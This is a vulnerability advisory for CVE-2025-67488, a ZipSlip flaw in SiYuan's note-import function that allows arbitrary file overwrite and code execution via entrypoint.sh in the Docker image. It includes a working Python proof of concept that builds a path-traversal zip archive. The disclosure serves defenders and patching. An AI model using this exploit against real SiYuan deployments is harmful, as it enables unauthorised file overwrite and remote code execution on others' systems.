SiYuan: ZipSlip -> Arbitrary File Overwrite -> RCE in github.com/siyuan-note/siyuan/kernel

Open Source Vulnerabilities CVE-2025-67488

SiYuan is self-hosted, open source personal knowledge management software. Versions 0.0.0-20251202123337-6ef83b42c7ce and below contain function importZipMd which is vulnerable to ZipSlips, allowing an authenticated user to overwrite files on the system. An authenticated user with access to the import functionality in notes is able to overwrite any file on the system, and can escalate to full code execution under some circumstances. A fix is planned for version 3.5.0.

Open Source Vulnerabilities GO-2025-4221

SiYuan: ZipSlip -> Arbitrary File Overwrite -> RCE in github.com/siyuan-note/siyuan/kernel

Open Source Vulnerabilities GHSA-gqfv-g4v7-m366

### Summary Function [**importZipMd**](https://github.com/siyuan-note/siyuan/blob/dae6158860cc704e353454565c96e874278c6f47/kernel/api/import.go#L190) is vulnerable to **ZipSlip** which allows an authenticated user to overwrite files on the system. ### Details An authenticated user with access to the import functionality in notes is able to overwrite any file on the system, the vulnerable function is [**importZipMd**](https://github.com/siyuan-note/siyuan/blob/dae6158860cc704e353454565c96e874278c6f47/kernel/api/import.go#L190), this can escalate to full code execution under some circumstances, for example using the official **docker image** it is possible to overwrite **entrypoint.sh** and after a container restart it will execute the changed code causing remote code execution. ### PoC Code used to generate the ZipSlip: ```python #!/usr/bin/env python3 import sys, base64, zipfile, io, time def prepare_zipslip(filename): orgfile1 = open('Test.md','rb').read() payload = open('entrypoint.sh','rb').read() #b"testpayload" zipslip = io.BytesIO() with zipfile.ZipFile(zipslip, 'w', compression=zipfile.ZIP_DEFLATED) as zipf: info = zipfile.ZipInfo('Test.md') mtime = time.time() t = time.localtime(mtime) info.date_time = (t.tm_year, t.tm_mon, t.tm_mday, t.tm_hour, t.tm_min, t.tm_sec) zipf.writestr(info, orgfile1) info = zipfile.ZipInfo(filename) mtime = time.time() t = time.localtime(mtime) info.date_time = (t.tm_year, t.tm_mon, t.tm_mday, t.tm_hour, t.tm_min, t.tm_sec) zipf.writestr(info, payload) return zipslip.getvalue() gz = prepare_zipslip('../../../../../../../../../../opt/siyuan/entrypoint.sh') open('exp.zip', 'wb').write(gz) ``` ### Impact The exploit is possible only if the attacker has access to **import** functionality. It's possible to achieve code execution and some persistence within the container